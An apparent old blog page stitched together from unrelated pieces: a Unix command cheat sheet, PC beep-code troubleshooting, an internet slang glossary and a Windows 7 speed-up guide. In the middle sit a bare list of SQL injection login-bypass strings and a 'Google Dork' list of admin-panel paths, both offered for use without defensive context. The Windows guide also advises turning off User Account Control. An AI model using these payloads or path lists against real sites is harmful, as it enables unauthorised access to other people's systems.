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Saturday, September 17, 2011

Unix/Linux Command Cheat Sheet

File Commands

ls – directory listing
ls -al – formatted listing with hidden files
cd dir - change directory to dir
cd – change to home
pwd – show current directory
mkdir dir – create a directory dir
rm file – delete file
rm -r dir – delete directory dir
rm -f file – force remove file
rm -rf dir – force remove directory dir *
cp file1 file2 – copy file1 to file2
cp -r dir1 dir2 – copy dir1 to dir2; create dir2 if it
doesn't exist
mv file1 file2 – rename or move file1 to file2
if file2 is an existing directory, moves file1 into
directory file2
ln -s file link – create symbolic link link to file
touch file – create or update file
cat > file – places standard input into file
more file – output the contents of file
head file – output the first 10 lines of file
tail file – output the last 10 lines of file
tail -f file – output the contents of file as it
grows, starting with the last 10 lines


Process Management

ps – display your currently active processes
top – display all running processes
kill pid – kill process id pid
killall proc – kill all processes named proc *
bg – lists stopped or background jobs; resume a
stopped job in the background
fg – brings the most recent job to foreground
fg n – brings job n to the foreground

File Permissions

chmod octal file – change the permissions of file
to octal, which can be found separately for user,
group, and world by adding:
? 4 – read (r)
? 2 – write (w)
? 1 – execute (x)
Examples:
chmod 777 – read, write, execute for all
chmod 755 – rwx for owner, rx for group and world
For more options, see man chmod.


SSH

ssh user@host – connect to host as user
ssh -p port user@host – connect to host on port
port as user
ssh-copy-id user@host – add your key to host for
user to enable a keyed or passwordless login


Searching

grep pattern files – search for pattern in files
grep -r pattern dir – search recursively for
pattern in dir
command | grep pattern – search for pattern in the
output of command
locate file – find all instances of file


System Info

date – show the current date and time
cal – show this month's calendar
uptime – show current uptime
w – display who is online
whoami – who you are logged in as
finger user – display information about user
uname -a – show kernel information
cat /proc/cpuinfo – cpu information
cat /proc/meminfo – memory information
man command – show the manual for command
df – show disk usage
du – show directory space usage
free – show memory and swap usage
whereis app – show possible locations of app
which app – show which app will be run by default


Compression

tar cf file.tar files – create a tar named
file.tar containing files
tar xf file.tar – extract the files from file.tar
tar czf file.tar.gz files – create a tar with
Gzip compression
tar xzf file.tar.gz – extract a tar using Gzip
tar cjf file.tar.bz2 – create a tar with Bzip2
compression
tar xjf file.tar.bz2 – extract a tar using Bzip2
gzip file – compresses file and renames it to
file.gz
gzip -d file.gz – decompresses file.gz back to
file


Network

ping host – ping host and output results
whois domain – get whois information for domain
dig domain – get DNS information for domain
dig -x host – reverse lookup host
wget file – download file
wget -c file – continue a stopped download


Installation

Install from source:
./configure
make
make install
dpkg -i pkg.deb – install a package (Debian)
rpm -Uvh pkg.rpm – install a package (RPM)


Shortcuts

Ctrl+C – halts the current command
Ctrl+Z – stops the current command, resume with
fg in the foreground or bg in the background
Ctrl+D – log out of current session, similar to exit
Ctrl+W – erases one word in the current line
Ctrl+U – erases the whole line
Ctrl+R – type to bring up a recent command
!! - repeats the last command
exit – log out of current session
* use with extreme caution.

Common Errors in PC & There Solution

1. MONITOR LED IS BLINKING
Check all the connections like Monitor Cable, Data cables,RAM, Display Card , CPU connections.

2. CONTINUOS THREE BEEPS
Problem in RAM Connection.

3. THREE BEEPS ( 1 Long 2 Short)
Problem in Display Card Connection

4. THREE LONG BEEPS PERIOD WISE
Problem in BIOS or RAM (Basic Input Output System)

5. CONTINUOS NON-STOP BEEPING
Key Board Problem (I.e.; Some Key is pressed for Longer time)

6. FDD LED IS GLOWING CONTINUOSLY
Data cable to be connected properly (twisted cable).

7. NO DISPLAY ON THE SCREEN AT ALL
Hard Disk cable connected wrongly. Connect rightly seeing the Red mark (Faces power supply) and then Restart.

8. POWER LED IS OFF
a. Check main power cord
b. Check S.M.P.S.
c. Check Mother Board connection

9. SHOWING CMOS ERROR
Replace 3 Volt battery of Mother Board . Set Original Settings Manually.(Refer CMOS Setup chart)
Enter your search termsSubmit search form

10. SHOWING FDD ERROR OR FLOPPY DRIVE IS NOT WORKING PROPERLY
Check Power cord of FDD , Data Cables , set CMOS & Finally the Check drive.

11. SHOWING HDD ERROR OR HARD DISK FAILURE
a. Check Power Cord
b. Check connection of HDD
c. Check Data cable
d. Check Hard Disk parameters in CMOS or Auto detecting Setting Partitions by Fdisk Command, then format it to set track 0.

12. MOTHER BOARD HANGS DUE TO UNSTABILIZED POWER SUPPLY
a. Check S.M.P.S
b. RAM not functioning properly.
c. Software problem (due to using pirated software)
d. CPU fan not functioning properly.

13. DANCING SCREEN
a. Check Display card connection
b. Virus Problem
c. Video Memory Problem

14. SHAKING SCREEN
a. Earthing problem
b. Magnetic waves comes around.

15. CPU CABINET SHOCK
a. Check Earthing
b. Check main power cord.

16. NON-SYSTEM DISK ERROR
a. Floppy Drive having different disk (Non-Bootable Disk) OR CMOS Parameters for Hard Disk may not be set properly.
b. Hard Disk Partitions may not be created.
c. Hard Disk may not be formatted.

7. MISSING OPERATING SYSTEM
The System files missing namely Ie; command.com} - User File IO.SYS & MS_DOS.SYS } - Hidden Files. These above three files required for Start up of the system that can be transferred by using SYS C: Command OR While the time of formatting by using Format c:/u/s

18. MISSING COMMAND INTERPRETOR
May the file Command.com is corrupted OR Infected by Virus OR Some one has Erased it.

19. SHOWING I/O ERROR
a. The type of Hard Disk in CMOS may not be set properly.
b. Operating system used for formatting is not valid

20. SHOWING DIVIDE OVER- FLOW MESSAGE
a. May some Directories or Files crash with other files.
b. Use CHKDSK/F or SCANDISK Command to correct it.


21. HARD DISK MAKING NOISE WHILE PROCESSING
a. Unstabilized power supply.
b. Check for Loose Contact.
c. Do not use Y Connectors for Hard Disk.
d. It may create Bad Sector OR Weak Hard Disk.

22. HARD DISK HANGS WHILE PROCESSING
Check for Bad Sector by using CHKDSK or SCANDISK Command. If found format the Hard Disk and set Partition before that area.(This is the only procedure to use Hard Disk with Bad Sector) OR (To avoid Bad Sectors use Standard Power Supply)

23. HARD DISK NOT DETECTED
a. Check Power Connector
b. Check Data Cables
c. Check Jumpers

24. PARTITION NOT SHOWN
Operating System where the Hard Disk formatted is not supported with present Mother Board. For Eg: Hard Disk formatted with Pentium System will hide their partitions for 486 System.

25. MMX/DLL FILE MISSING
May the above files may be corrupted due to power failure or Virus. Make available above files from other Computer. OR Reinstall Windows 98 Operating System. (This procedure will not make any effect on existing Data).

26. WINDOWS REGISTRY ERROR
This will happen due to sudden ON/OFF of the system. Final solution is to Reinstall Operating System.

27. DISPLAY COLOUR DOES NOT MATCH
a. Configure Display Card properly with their CD.
b. The Standard setting for Windows is set it to 800x600 for better performance.

28. UNKNOWN DEVICE FOUND
May the Driver utility is not provided with operating system . Insert Driver CD and install software for the above Device. (Every Device requires driver utility to set active


sumber:http://isuhagat1.blogspot.com/2009/01/common-errors-in-pc-there-solution.html

SQL Injection

1'or'1'='1

or

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

Google Dork for Admin page

admin1.php

admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
adm/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/

Internet slang list

source: http://topicpulse.com/articles/article/internet_slang_list/

Ever wanted to know what FTW means? Or PWND? Or 10x? Or PEBKAK? Well here's a complete list of 344 internet slang words, and their meaning.

0-9

  • 10q
    Thank you
  • 10x
    Thanks
  • 1337
    From the word Leet, derived from the word elite
  • 2
    Too, or to
  • 2L8
    Too late
  • 2U2
    To you too

  • Love (a sideways heart)
  • 4
    For
  • 404
    I haven't a clue; from the code for the common "Not Found" HTTP error message
  • 4GM
    Forgive me
  • ?4U
    Question for you
A
  • AAMOF
    As a matter of fact
  • ADN
    Any day now
  • AFAICR/S/T
    As far as I can recall / remember / see / tell
  • AFAIK
    As far as I know
  • AFK
    Away from keyboard
  • AKA
    Also known as
  • AITR
    Adult in the room
  • AIUI
    As I understand it
  • ANFSCD
    And Now For Something Completely Different. Used to change the subject of conversation
  • ASAP
    As soon as possible
  • ASL or A/S/L
    Age / sex / location
  • ATEOTD
    At The End of the Day
  • ATM
    At the moment
  • ATYS
    Anything you say
  • AWA
    As well as
  • AWOL
    Absent Without (Official) Leave
  • AYBABTU (also abbreviated as AY
    All your base are belong to us (from the video game Zero Wing)
B

  • borked
    Thoroughly broken
  • Bai
    Bye
  • B2B
    Business to Business
  • BB
    Bye bye
  • BBIAB
    Be back in a bit
  • BBIAF
    Be back in a few / flash
  • BBL/S
    Be back later / shortly / soon
  • BCNU
    Be seein' you
  • BF
    Boy friend
  • BFF
    Best friends forever
  • BFFL
    Best friends for life
  • BFN
    Bye for now
  • BFFN
    Best Friend For Now
  • Blog
    Also known as web log or an online journal
  • BOF
    Beginning of file
  • BOFH
    Bastard operator from hell
  • BOHICA
    Bend Over Here It Comes Again
  • Bot
    Any type of automated software in chatrooms and web-cataloging software
  • Br/BR
    Best regards
  • BRB
    Be right back
  • BRT
    Be right there
  • BS
    Backstab / Bullshit
  • BSOD
    Blue Screen of Death
  • BTDT
    Been there done that
  • BTDTGTTSAWIO
    Been there, done that, got the T-shirt and wore it out
  • BTW
    By the way
  • Bump
    Increment (For example, C++'s operator.) or a backronym for "Bring Up My Post"
  • BW or B/W
    Between or black-and-white.
C

  • CD9
    Code 9
    Parents nearby
  • CBA
    Can't Be Arsed. A term to indicate or dictate laziness.
  • chown
    Change owner. (used in Unix systems)
  • CMIIW
    Correct me if I'm wrong
  • Crawl
    To retrieve a web page along with the hyperlinks that reference it
  • Crapplet
    A poorly written computer application
  • CTN
    Can't Talk Now
  • CU
    See you (later)
  • CUNT
    See you next time
  • CYA
    See ya OR Cover Your Ass
  • Cyber (prefix)
    A term used to connect the subsequent word loosely to the world of computers or the Internet or sex over a computer
  • Cyberspace
    Virtual reality, the Internet, the World Wide Web, and other kinds of computer systems. Science fiction author William Gibson popularized the term in his novel Neuromancer. Gibson used the word to describe a virtual world of computer networks that his cyberpunk heroes 'jacked into'
D

  • DDG
    Drop Dead Gorgeous
  • DFTT
    Don't feed the trolls
  • DGAF
    Don't Give A Fuck
  • DIAF
    Die in a fire
  • DIRL
    Die in real life
  • DILLIGAF/D/S
    Does it look like I give a flip / fuck / damn / shit
  • DL
    Download
  • DND
    Do not disturb
  • DOA
    Dead on arrival. Refers to hardware that has never worked.
  • DW
    Don't Worry.
E

  • EOF
    End Of File
  • EOM
    End of Message
  • EOL
    End of Life. Device or hardware that is at the end of its product life cycle
  • EQ
    EverQuest
  • ETA
    Estimated time of arrival, later (especially on blogs), Edited To Add-
F

  • FAQ
    Frequently Asked Question(s)
  • FFS
    For fuck's sake, or
    Fat Finger Syndrome(used to explain that one cannot type correctly)
  • Flamer
    Someone who makes inflammatory, abusive or directly offensive comments. Similar to, but not quite the same as an Internet troll
  • FMCDH
    From My Cold Dead Hands
  • FOAD/FOND
    Fuck off 'n'/and die
  • FOAF
    Friend of a friend
  • FP
    First Post
  • FTL
    For the lose / loss
  • FTW
    For the win / fuck the world
  • FU
    Fuck you
  • FUBAR
    Fucked up beyond all recognition / repair
  • FUD
    Fear, Uncertainty and Doubt (the purposeful spread of misinformation)
  • FWIW
    For what it's worth
  • FYI
    For your information
G

  • GBCW
    Goodbye Cruel World
    a dramatic leave taking of a forum or site
  • GBTW
    Get back to work
  • GF
    Great/good fight; or girlfriend
  • GFETE
    Grinning from ear to ear
  • GFY
    Good for you
  • GG
    Good game, used at or near the conclusion of a gaming match, also used to describe a game that is very one sided and therefore considered already over
  • GGF
    Go Get Fucked
  • GIYF
    Google is your friend
  • GL
    Good luck, often used at beginning of a contest
  • GLHF
    Good luck and have fun
  • GJ
    Good job
  • GMTA
    Great minds think alike
  • Godwin's Law
    Dictates that the longer a thread, the more likely someone will post a comparison involving Nazis or Hitler
  • Gratz
    Congratulations
  • GTH
    Go to hell
  • GTFO
    Get the fuck out OR Get the fuck off
  • GTG or G2G
    'Got to go' or 'Good to go'
  • GR
    Gateway Router
  • GR8
    Great
H
  • HAND
    Have A Nice Day
  • Handle
    Name used in online chat, (AKA nick(name), alias, screen/user name)
  • HF
    Have fun/High-five
  • Haxor or H4x0r (1337)
    Hacker
  • Hit
    A request made to the web server, (noun) the results of an internet search, (verb) loading a Web page. Hits are not equivalent to visitors of a webpage.
  • Home page
    The website's introduction page, starting point, and guide. The technical term is "index"
  • Hot list
    A collection of publicly available URLs (World Wide Web site addresses), sometimes available as text files.
  • HTH
    Hope this / that helps, or happy to help
  • H8
    Hate
I

  • IANAL
    I am not a lawyer
  • IAWTC
    I agree with that/this comment
  • IBTL
    In before the lock
  • IDC
    I don't care
  • IDGAF
    I don't give a fuck
  • IDK
    I don't know
  • IHY
    I hate you
  • IINM
    If I'm not mistaken
  • IIRC
    If I recall / remember correctly
  • IIUC
    If I understand correctly
  • ILY
    I love you
  • IMO/IMHO/IMNSHO/IMAO
    In my (humble / honest / not so humble / arrogant) opinion
  • Information superhighway
    The Internet (AKA: I-way, infobahn)
  • IONO
    I don't know
  • IOW
    In other words
  • IRC
    Internet Relay Chat
  • IRL
    In real life
  • ISTR
    I Seem To Recall
  • ITYM
    I Think You Mean
  • IWSN
    I want sex now
  • IYKWIM
    If you know what I mean
J

  • Jaggy
    Aliased computer graphics
  • JAS
    Just a second
  • JIC'
    Just in case
  • JFGI
    Just Fucking/Freaking Google It
  • JK or j/k
    Just kidding, or joke
  • JSYK
    Just so you know
  • JFTR
    Just for the records
  • JOOC
    Just out of curiosity
  • JW
    Just wondering
  • JFK
    Just Fucking Kidding
K

  • k or kk
    OK
  • KIR
    Keeping it real.
  • KISS
    Keep it simple stupid.
  • KIT
    Keep in touch.
  • KMA
    Kiss my ass
  • KOS
    Kill on sight
  • KOTC/L
    Kiss on the cheek/lips.
  • KS(ing)
    Kill-Steal(ing)
  • KTHX
    OK, thanks
  • KTHXBAI or KTHXBYE
    OK, thanks, goodbye, used either to cut short a conversation or to express displeasure with being cut short
  • KWIM
    Know what I mean?
L

  • L2P
    Learn to play; an admonishment to new or incompetent video game players.
  • L8R
    Later (sometimes abbreviated to L8ER); is commonly used in chat rooms and other text based communications as a way of saying good bye.
  • Lag
    Slang term for slow Internet speeds or high Internet latency; Lag is sometimes due to a server problem, but more frequently due to the connection between client and server. A slow or intermittent connection may often be referred to as laggy
  • Lamer
    A know-nothing, one who is lame.
  • Leet
    Often spelled as l33t or 1337 in ASCII form. It originally meant elite
  • LFG
    Looking for group
  • LFM
    Looking for more
  • LMAO, LMFAO, LMMFAO
    Laughing my ass off, laughing my fucking ass off, laughing my mother fucking ass off
  • LMIRL
    Let's meet in real life.
  • LMK
    Let me know
  • LOL
    Laughing out loud, laugh out loud. Occasionally: lots of love, lots of luck
  • LOTI
    Laughing on the inside
  • LTNS
    Long time no see
  • Lulz
    A corruption of LOL, which stands for laugh out loud.
  • Lurker
    Someone who frequents a Usenet group without participating in discussions
  • Luser
    Loser + user; an annoying user from the perspective of tech support or a system administrator; also spelled luzer or luzzer.
  • LYLAB
    Love you like a brother
  • LYLAS
    Love you like a sister
M

  • MMORPG, MMO
    Massive Multi-player Online Role Playing Game
  • MMOFPS
    Massive Multi-player Online First Person Shooter
  • MOO
    MUD (Multi-User Dungeon) Object Orientated
  • MOTD
    Message of the day
  • MS
    Microsoft
  • MTFBWY
    May The Force be with you
  • MUD
    Multi-User Dungeon
  • MUSH
    Multi-User Shared Hallucination
  • MYOB
    Mind your own business
  • M8
    Mate
N

  • N2M
    Not(hing) too much
  • N2B
    Not too bad
  • NE1
    "Anyone"
  • Newbie, noob, or n00b
    An inexperienced user of a system or game, or an annoying person.
  • NFW
    No fucking way
  • NM
    (Sometimes written N/M) Not much, Never mind or no message, used on message boards or in e-mails to indicate that everything is already said in the subject line.
  • NN
    Night night. Used as an alternative for "good night"
  • NP
    No problem
  • NSFW
    Not safe for work. Warning about content that may get the viewer in trouble with his employer or co-workers.
  • NTY
    No, Thank You
  • NVM, NVMD, or nm
    Nevermind, not much
O

  • O RLY
    Oh really?
  • OH OK
    A sarcastic okay
  • OIC
    Oh, I see
  • OFN
    Old fucking news
  • OMG
    Oh, my God
  • OMFG
    Oh, my fucking God
  • OMGWTFBBQ
    Oh my God, What the Fuck, Barbecue
  • OMW
    On my way or Oh my word
  • OOC
    Out Of Character / Out Of Combat
  • OP
    Original poster / Operator / Outpost
  • OS
    Operating system
  • OT
    Off topic
  • OTOH
    On the other hand
  • OTP
    On the phone or One true pairing
P

  • P2P
    Peer to peer, or pay to play
  • P911
    Parent emergency (watch what you type)
  • PAW
    Parents are watching
  • PEBKAC
    Problem exists between keyboard and chair
  • Ping
    From the popular network monitoring tool, used as a greeting similar to "Are you there?".
  • PITA
    Pain in the arse / ass
  • PLMK
    Please let me know
  • plz or pls
    Please
  • PM
    Personal message or private message
  • PMJI
    Pardon my jumping in
  • PMSL
    Pissing My Self Laughing
  • :: POOF ::
    Goodbye (leaving the room)
  • POS
    Piece of shit, parent over shoulder, packet over SONet, or Point of Sale.
  • POTS
    Plain old telephone service
  • POV
    Point of view
  • PPL
    People
  • PST
    Please send tell
  • PTKFGS
    Punch the Keys For God's Sake
  • pr0n
    Intentional misspelling of porn
  • PW
    Persistent World (gaming)
  • pwned or pwnd
    Owned
Q

  • QFA
    Quoted for accuracy. Similar to QFT
  • QFT
    Quoted for truth, Quit fucking talking
  • QT
    Cutie.
R

  • Rehi (or merely re)
    Hello again
  • RL
    Real Life
  • Rly
    Really (See also: O rly) />
  • RO(T)FL
    Rolling on (the) floor laughing
  • RO(T)FLMAO
    Rolling on (the) floor laughing my ass off
  • RO(T)FLOL
    Rolling on (the) floor laughing out loud
  • RSN
    Real soon now (often used sarcastically)
  • RTA
    Read The Article
  • RTFB
    Read the fucking binary (or book)
  • RTFQ
    Read the fucking/fabulous (polite)/freaking (polite) question
  • RTFS
    Read the fucking source
  • RTFM/RTM
    Read the (fucking) manual
  • RYC
    Regarding your comment
S

  • S2R
    Send to Receive (Used in online chat to request self-pictures)
  • SCNR
    Sorry, could not resist
  • Sif
    As if
  • Sim
    Simulation
  • sk8/sk8r
    skate/skater
  • Smiley
    Another name for emoticons
  • SMH
    Shaking my head
  • SNAFU
    Situation normal: all (fucked/fouled) up
  • Snail mail
    Normal paper mail service
  • SOL
    Shit Outta Luck
  • Spider
    The program behind a search engine
  • SPYFN
    Stop Posting You Filthy Noob, generally the same meaning as GTFO
  • Sry
    Sorry
  • STFU
    Shut the fuck up
  • STFW
    Search the fucking web
  • Soz
    Sorry
  • SU
    Shut up
  • SWIM
    Someone Who Isn't Me
  • SYM
    Shut your mouth
  • SMYLS
    Spare me your life story
T

  • T4P
    Tell for people
  • TANSTAAFL
    There ain't no such thing as a free lunch, from Robert A. Heinlein's novel The Moon Is a Harsh Mistress
  • TBF
    Time between failures
  • TBH, TBQH
    To be (quite) honest
  • TFTC
    Thanks for the Cache, a Geocaching term
  • TG
    That's great
  • TGIF
    Thank God it's Friday
  • TH(N)X, TNX or TX
    Thanks
  • TIA
    Thanks in advance
  • TINC
    There Is No Cabal, a term discouraging conspiracy theories
  • TISNF
    This is so not fair
  • TL;DR
    Too Long; Didn't Read, an admonishment that a post is too lengthy or lacks worthwhile content
  • TMI
    Too much information
  • TOS
    Terms of service
  • TTBOMK
    To the best of my knowledge
  • TTFN
    Ta ta for now
  • TTT
    To the top, used in forums to bump a thread
  • TTTH
    Talk to the hand
  • TTYL
    Talk to you later (also spelled TTUL, T2UL or T2YL)
  • TTYS
    Talk to you soon
  • TTYTT
    To Tell You The Truth
  • Tweedler
    One who has deep love for all computer related technology and gadgets
  • TWIMC
    To Whom It May Concern
  • TY or Thx
    Thank you
  • TYT
    Take your time
  • TYVM
    Thank you very much
  • TPW
    Top Post Whore
U

  • U, Ur
    You, your, you're
  • UTFSE
    Use the fucking search engine
V

  • VB(SE)G
    Very big (shit-eating) grin.
  • VEG/S
    Very evil grin/smile.
  • Vlog
    Video blog
  • VWG/S
    Very wicked grin/smile.
W

  • w00t, w00T or WOOT
    First two express exuberance, and the last is a backronym for the term "We Own the Other Team".
  • W/ or W/O
    With or without
  • WB
    Welcome back
  • WBU
    What 'Bout (about) You
  • WD
    Well Done
  • W/E
    Whatever
  • WoW
    World of Warcraft
  • WP
    Well Played
  • WRT
    With respect / regard to
  • WRUD
    What are you doing?
  • WTB
    Want to buy
  • WTF
    What the fuck
  • WTG
    Way to go
  • WTH
    What the hell, What the heck
  • WTS
    Want to sell
  • WTSHTF
    When The Shit Hits The Fan
  • WTT
    Want to trade
  • WUG
    What you got?
  • WUBU2
    What (have) you been up to?
  • WUU2
    What (are) you up to?
  • WUW
    What you want?
  • WWJD
    What would Jesus do?
  • WYSIWYG
    What you see is what you get
  • W8
    Wait
Y

  • Y
    Why
  • YA RLY
    Yeah Really (invariably preceded by "O RLY")
  • YHBT
    You have been trolled.
  • YHL
    You have lost
  • YKW
    You know what?
  • YMMV
    Your mileage may vary.
  • YT
    You there?
  • YTMND
    You're The Man Now, Dog
  • YW
    You're welcome.
  • YOYO
    You're On Your Own.
  • YOYOW
    You own your own words.
Z

  • ZOMG (sometimes OMGZ)
    A variation of OMG (Oh my Gosh/God) used to indicate extreme excitement

Ultimate speed up guide for Windows 7

Windows 7 is Engineered for speed. Special attention has been given by the Windows 7 team for making Windows 7 faster than the previous operating systems. Windows 7 is much faster than Windows Vista, but even then most of us don’t get satisfied with it. There are many who still have their old PC. Installing Windows 7 on them wont be as soothing as they work with with XP and Even with latest hardware’s installed some users still long for more performance. At least if we don’t make it lightning fast we can optimize Windows 7 to the maximum possible extent and enjoy the maximum performance we could squeeze out from it. So for all the extra performance lovers, let me present you wit this Ultimate Guide To Speed Up Windows 7.

I guarantee that after following this guide and implementing the recommendations on your PC, you will really get the performance gain.



The bare Minimum Requirements You need To Run Windows 7

1) 1GHz processor (32- or 64-bit)
2) 1GB of main memory
3) 16GB of available disk space
4) Support for DX9 graphics with 128MB of memory (for the Aero interface)
5) A DVD – R/W drive

Even if you don’t have the DX 9 graphics card there is no problem because our target is performance and not the ” Eyecandy ” . Of course if you need the aero experience you need a powerful graphics card for sure.

So lets start The Ultimate Guide to Speed up Windows 7

Disabling the Search Indexing Feature in Windows 7

1. Right Click the “Computer” Icon in the desktop and select “Manage”.
2. Click “Services and Applications” in the “Computer Management” window.
3. Click on “Services”.
4. You can see a lot of services listed there. Look for “Windows Search” in that.
5. Right Click on “Windows Search” from the list and choose “Properties”.
6. The “Windows Search Properties Window” will open up. From “Startup type” click on the drop down menu and choose “Disabled”.
7. Click “Apply” then “OK” and that’s it. The Windows 7 Search Indexing Feature is now disabled.

Most of the Windows 7 users do less searches in there system. The Search Indexing service in Windows 7 will index keeps track of the files so that they can be found quickly when asked at some other time. This feature is useful only if you perform frequent searches on your system.

For occasional file searchers the Search Indexing service in Windows 7 is a total resource hog. It unknowingly eats up your system resources. What you need from windows 7 is maximum performance from it then i would certainly recommend you to disable this resource hogging Windows 7 Search Indexing Feature.

To Disable the Search Indexing Feature in Windows 7

If you want to completely disable the search indexing feature in Windows 7 you can set the Search Indexing Service to Manual (See the above method about disabling unwanted services).

Disable the Aero Theme on Windows 7

1. Right Click on your Desktop and select ” Personalize ” click the Window Color Tab.
2. Uncheck the Box saying ” Enable Transparency ” and then click on ” Open classic appearance properties for more color options”.
3. Then a window will open up. Apply a Standard or Basic theme from it. The Standard Windows 7 theme is more preferred.

The aero user interface certainly adds some ” Eyecandy ” to Windows 7 but certainly is a resource hog especially when, what you expect from windows 7 is more performance juice. Aero user interface squeezes your graphics or video card to its maximum. So why dont we just avoid the Windows 7 aero? if we care more about speed and performance in Windows 7. So Disabling the Aero in Windows 7 certainly adds an extra speed boost to it.

Disabling the aero theme alone in Windows 7 will really speed things up. You can know this by looking into the memory consumption when aero is turned on and off.

Disabling the Unwanted Visual Effects in Windows 7 to Speed Up more

1. For this right click on ” Computer” and select “Properties” from the right click menu.
2. Click on ” Advanced System Settings ” from the left pane to open up the ” System Properties ” window.
3. Select the “Advanced” tab from it. Then Under ” Performance ” click ” Settings “. Choose ” Custom: ” Options From it.
4. Now un tick all the options and select only the last four options (actually three only needed; you can un tick the second option from the last four). See the screen shot if you have any doubt.
5. Now just logoff your system and turn logon.

Even though we have tuned off the aero effects in Windows 7 still there are many unwanted visual effects that can be safely disabled to speed up windows 7 even more.

You will now notice the speed difference now.

Disabling the Unwanted Services to Speed up Windows 7

There are many services in windows 7 that we dont require for our daily use. There are some exceptional cases though. Services such as “print spooler” is only needed when we use a printer. If we use a printer only occasionally we can safely turn off that service in Windows 7 and turn it on only when we need to take a print.

Disabling the unneeded services in Windows 7 can really speed up the system boot time.

Disable the User account control (UAC) Feature in Windows 7

1. From the Control Panel open the ” User Accounts and Family Safety ” > User Account.
2. Click the User Account Control settings link.
3. Now just Drag the Slider towards “Never Notify”.
4. Click “OK” and Reboot your system.

The User account control (UAC) feature in Windows 7 is very annoying though it says it can protect your computer from harmful virus activity etc. But if you are a daily user of your computer this windows 7 feature will be a total nuisance to you.

To Disable and Turnoff UAC in Windows 7

Disabling UAC is for advanced users only its not recommend doing it if not.

SetUp the Windows 7 Ready Boost Service for an Extra Speed Boost

1. To configure the Ready Boost Feature in Windows 7 you need to have a High Speed Flash/USB or Pendrive with you which is ready boost compatible.
2. After plugging you pendrive, open “Computer” > Right-click the on USB Drive/Pendrive > select “Ready Boost” tab > tick the “Use this device” checkbox.
3. You can configure how much space on your USB drive/ Pendrive to be used as Ram.

The ready boost feature in Windows 7 will help you to use your flash drive or pendrive or USB drive as Ram there by improving the performance and speed of windows 7 greatly. You can certainly experience it when launching bulky applications such as Adobe Photoshop etc.

Turn off Unused Windows 7 Features

1. Open up ” Programs and Features ” from Control Panel.
2. Click the ” Turn Windows features on or off ” from the left pane.
3. Now uncheck all the Feature that you don’t use in Windows 7 and restart the system for the changes to take effect.

There are many feature in windows 7 that we often don]t use. Disabling these unused features in Windows 7 will really help in speeding things up.

Disable the Windows 7 Sidebar (Actually the Gadgets)

1. Right click on the sidebar and select ” Properties “.
2. On the properties windows untick the check box showing ” Start sidebar when Windows Starts “
3. From now on windows sidebar won’t start when windows 7 start up.

Disabling the window 7 sidebar is definitely help you to to gain a few seconds during start up time. There are many useful utilities such as the

RocketDock etc. which are good application launchers.

To Disable the Sidebar in Windows 7.

Disable the Aero Peek and Aero Snap features in Windows 7

1. Open the Windows 7 ” Control Panel ” and double-click on ” Ease of Access Center ” icon.
2. Now click on the ” Make it easier to focus on tasks ” seen at the bottom in there
3. Now untick the check box saying ” Prevent windows from being automatically arranged when moved to the edge of the screen ” .
4. Right click on the Windows 7 taskbar and select ” Properties “.
5. Now untick the ” Use Aero Peek to preview the desktop ” option from there.

Aero Snap will help you to maximize, minimize and resize the windows just by dragging and dropping it into the screen corners.

To disable Aero Snap Feature in Windows 7,

That will now disable the Aero Snap in Windows 7.

Now To Disable the Aero Peek feature in Windows 7

The Aero Peek feature in Windows 7 helps you to peek through all open windows by hiding all other windows and showing only the outlines of all windows. Aero Peek is similar to the ” Show Desktop ” Feature in XP and Vista.

